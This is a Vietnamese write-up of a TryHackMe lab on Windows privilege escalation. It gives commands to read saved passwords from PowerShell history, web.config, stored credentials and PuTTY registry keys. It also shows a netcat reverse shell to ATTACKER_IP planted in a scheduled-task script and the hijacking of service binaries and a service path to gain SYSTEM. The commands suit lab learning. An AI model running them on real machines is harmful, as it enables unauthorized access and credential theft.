TryHackMe - Leo thang đặc quyền trên Windows
Các phương pháp khác nhau để leo thang đặc quyền trên Windows
Giới thiệu
Leo thang đặc quyền là một phần thiết yếu trong kiểm thử xâm nhập và hacking nói chung, vì đây là cách để giành toàn quyền truy cập vào máy từ xa.
Phần này tập trung vào Windows.
Leo thang đặc quyền là gì?
- Leo thang đặc quyền là quá trình giành được mức truy cập hoặc quyền hạn cao hơn trên hệ thống so với mức được cấp ban đầu.
Hai loại leo thang đặc quyền chính:
-
Leo thang đặc quyền theo chiều dọc (nâng quyền) – Kẻ tấn công giành được quyền hạn cao hơn, chẳng hạn chuyển từ tài khoản người dùng thông thường lên quyền quản trị viên hoặc root. Điều này thường xảy ra thông qua việc khai thác lỗ hổng phần mềm, cấu hình sai hoặc đánh cắp thông tin đăng nhập.
-
Leo thang đặc quyền theo chiều ngang – Kẻ tấn công vẫn giữ nguyên mức đặc quyền nhưng giành được quyền truy cập vào tài khoản hoặc tài nguyên của người dùng khác. Ví dụ, một người dùng thông thường có thể truy cập dữ liệu riêng tư của người dùng khác.
Leo thang đặc quyền trên Windows
- Người dùng Windows được chia thành hai nhóm:
Administrators– Những người dùng này có nhiều đặc quyền nhất. Họ có thể thay đổi mọi tham số cấu hình hệ thống và truy cập mọi tệp trong hệ thốngStandard Users– Những người dùng này có thể truy cập máy tính nhưng chỉ thực hiện được các tác vụ hạn chế. Thông thường, họ không thể thực hiện những thay đổi lâu dài hoặc thiết yếu đối với hệ thống và chỉ được giới hạn trong các tệp của mình
- Các tài khoản tích hợp sẵn:
SYSTEM / LocalSystem: Tài khoản có đặc quyền cao nhất, thậm chí cao hơn quản trị viên, với toàn quyền truy cập hệ thốngLocal Service: Chạy các dịch vụ với đặc quyền tối thiểu và sử dụng kết nối mạng ẩn danhNetwork Service: Chạy các dịch vụ với đặc quyền tối thiểu và sử dụng thông tin xác thực của máy tính để xác thực qua mạng
Những người dùng có thể thay đổi cấu hình hệ thống thuộc nhóm nào?
Câu trả lời:
1
Administrators
Tài khoản SYSTEM có nhiều đặc quyền hơn người dùng Administrator hay không? (aye/nay)
1
aye
Thu thập mật khẩu từ những vị trí thường gặp
Mật khẩu của người dùng julia.jones đã bị để lại trong lịch sử PowerShell. Mật khẩu là gì?
1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Một máy chủ web đang chạy trên máy từ xa. Hãy tìm mật khẩu đáng chú ý trong các tệp web.config liên quan đến IIS. Mật khẩu của người dùng db_admin là gì?
Chúng ta chỉ cần sử dụng lệnh được cung cấp trong thử thách trên máy Windows đã được khởi tạo.
1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Có một mật khẩu đã được lưu trong Windows Credentials. Sử dụng cmdkey và runas, hãy tạo shell cho mike.katz và lấy flag từ màn hình nền của người dùng này.
Chúng ta sẽ làm theo các bước được cung cấp trong thử thách.
1
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe
Lệnh này mở một cửa sổ CMD mới. Bây giờ, chúng ta chỉ cần kiểm tra flag.
Hãy lấy mật khẩu được lưu trong phiên PuTTY thuộc hồ sơ của bạn. Mật khẩu của người dùng thom.smith là gì?
1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Những cách khai thác nhanh khác
Về cơ bản, nhiệm vụ này là phiên bản Windows tương đương với cron job trên Linux.
Tệp schtask.bat đóng vai trò như cron job, vì vậy chúng ta cần ghi shell của mình vào đó. Khi tác vụ chạy, chúng ta sẽ nhận được kết nối shell.
1
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
Khởi động Netcat listener trên máy tấn công:
1
2
nc -lvnp 1337
listening on [any] 1337 ...
Sau đó chạy scheduled task trên máy nạn nhân:
1
C:\> schtasks /run /tn vulntask
Chúng ta sẽ nhận được kết nối.
Sau đó, chúng ta chỉ cần đọc flag.
Lạm dụng cấu hình sai của dịch vụ
Chúng ta có quyền thay đổi WService.exe.
Hãy sử dụng payload được cung cấp.
Bây giờ, hãy khởi động máy chủ HTTP trên máy cục bộ.
1
python3 -m http.server 80
Có vẻ như chúng ta phải sử dụng PowerShell cho bước này.
Có vẻ như lệnh này không tải tệp xuống. Sau khi điều tra một chút, tôi phát hiện rằng cần chỉ định tệp đầu ra bằng cờ -O.
- Di chuyển tệp đến vị trí của WService
- Cấp các quyền cần thiết cho tệp
Bây giờ, chúng ta khởi động Netcat listener và khởi động lại tiến trình WindowsScheduler để reverse shell được thực thi.
1
nc -lvnp 1337
1
C:\Users\thm-unpriv> sc stop windowsscheduler
Sau đó, chúng ta nhận được kết nối.
Flag nằm tại C:\Users\svcusr1\Desktop.
Đối với flag thứ hai, chúng ta thực hiện chính xác quy trình tương tự nhưng với Disk.exe. Điểm khác biệt duy nhất là cần đặt tên tiến trình trong dấu ngoặc kép vì tên của nó có khoảng trắng.
1
2
sc stop "disk sorter enterprise"
sc stop "disk sorter enterprise"
Flag nằm tại C:\Users\svcusr2\Desktop.
Đối với flag cuối cùng, quy trình hoàn toàn giống nhau, nhưng lần này chúng ta sẽ thay đổi đường dẫn binary của THMService.
1
2
3
sc config THMService binPath= "C:\Isers\thm-unpriv\rev-svc3.exe" obj= LocalSystem
sc stop THMService
sc start THMService
Flag nằm tại C:\Users\Administrator\Desktop.














